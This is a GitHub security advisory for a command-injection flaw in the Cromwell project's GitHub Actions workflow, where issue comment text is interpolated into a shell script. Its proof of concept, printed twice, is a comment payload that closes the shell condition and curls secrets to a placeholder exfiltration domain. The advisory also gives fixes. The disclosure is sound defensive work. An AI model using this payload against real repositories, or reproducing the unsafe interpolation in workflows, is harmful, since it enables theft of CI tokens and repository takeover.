GHSA-PHF6-HM3H-X8QP
Vulnerability from github – Published: 2025-05-28 14:54 – Updated: 2025-05-28 14:55Summary
Using Issue_comment on .github/workflows/scalafmt-fix.yml an attacker can inject malicious code using github.event.comment.body. By exploiting the vulnerability, it is possible to exfiltrate high privileged GITHUB_TOKEN which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:
- BROADBOT_GITHUB_TOKEN
Details
The Issue_comment in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.
- name: Check for ScalaFmt Comment
id: check-comment
run: |
if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
echo "::set-output name=comment-triggered::true"
else
echo "::set-output name=comment-triggered::false"
fi
In this case, it is possible to exfiltrate GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secrets.
PoC
To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow .github/workflows/update_pylon_issue.yml.
test" == "test" ]]; then
& curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null #
To prove this is possible, we created an issue and we added a comment with the malicious code to extract the GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secret. With the GITHUB_TOKEN extracted we were able to push a new poc tag which has been deleted after a couple of minutes.
Impact
Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo.
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Models: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
We also checked BROADBOT_GITHUB_TOKEN permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid GITHUB_TOKEN.
We suggest to rotate the BROADBOT_GITHUB_TOKEN token asap.
Fix
- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:
- name: Dump comment
run: echo "Comment Body: $BODY"
env:
BODY: ${{ github.event.comment.body }}
This safely passes the comment as an environment variable rather than interpolating it in-place.
- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
permissions:
issues: write
Kindly reported by @darryk10 @AlbertoPellitteri @loresuso
{
"affected": [
{
"package": {
"ecosystem": "GitHub Actions",
"name": "broadinstitute/cromwell"
},
"ranges": [
{
"events": [
{
"introduced": "87"
},
{
"fixed": "90"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-28T14:54:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nUsing `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:\n- `BROADBOT_GITHUB_TOKEN `\n\n### Details\nThe `Issue_comment` in GitHub Actions might be an injection path if the variable isn\u0027t handle as it should. In the following step it\u0027s vulnerable because it directly interpolates untrusted user input into a shell script.\n```\n - name: Check for ScalaFmt Comment\n id: check-comment\n run: |\n if [[ \"${{ github.event_name }}\" == \"issue_comment\" \u0026\u0026 \"${{ github.event.comment.body }}\" == *\"scalafmt\"* ]]; then\n echo \"::set-output name=comment-triggered::true\"\n else\n echo \"::set-output name=comment-triggered::false\"\n fi\n```\nIn this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets. \n\n### PoC\nTo exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`.\n```\ntest\" == \"test\" ]]; then\n \u0026 curl -s -d \"$B64_BLOB\" \"https://$YOUR_EXFIL_DOMAIN/token\" \u003e /dev/null # \n```\nTo prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes.\n\n\u003cimg width=\"1603\" alt=\"Screenshot 2025-05-20 at 23 17 14\" src=\"https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf\" /\u003e\n\n\n### Impact\nUsually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo. \n```\nGITHUB_TOKEN Permissions\n Actions: write\n Attestations: write\n Checks: write\n Contents: write\n Deployments: write\n Discussions: write\n Issues: write\n Metadata: read\n Models: read\n Packages: write\n Pages: write\n PullRequests: write\n RepositoryProjects: write\n SecurityEvents: write\n Statuses: write\n```\nWe also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`.\nWe suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap.\n\n### Fix\n\n- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:\n\n```\n- name: Dump comment\n run: echo \"Comment Body: $BODY\"\n env:\n BODY: ${{ github.event.comment.body }}\n```\nThis safely passes the comment as an environment variable rather than interpolating it in-place.\n\n- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it\u0027s specific for issues:\n```\npermissions:\n issues: write\n```\n\nKindly reported by @darryk10 @AlbertoPellitteri @loresuso",
"id": "GHSA-phf6-hm3h-x8qp",
"modified": "2025-05-28T14:55:02Z",
"published": "2025-05-28T14:54:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/broadinstitute/cromwell/security/advisories/GHSA-phf6-hm3h-x8qp"
},
{
"type": "WEB",
"url": "https://github.com/broadinstitute/cromwell/commit/dc2c26abd31149e296f73ce4e43a36c0c0317b0d"
},
{
"type": "PACKAGE",
"url": "https://github.com/broadinstitute/cromwell"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.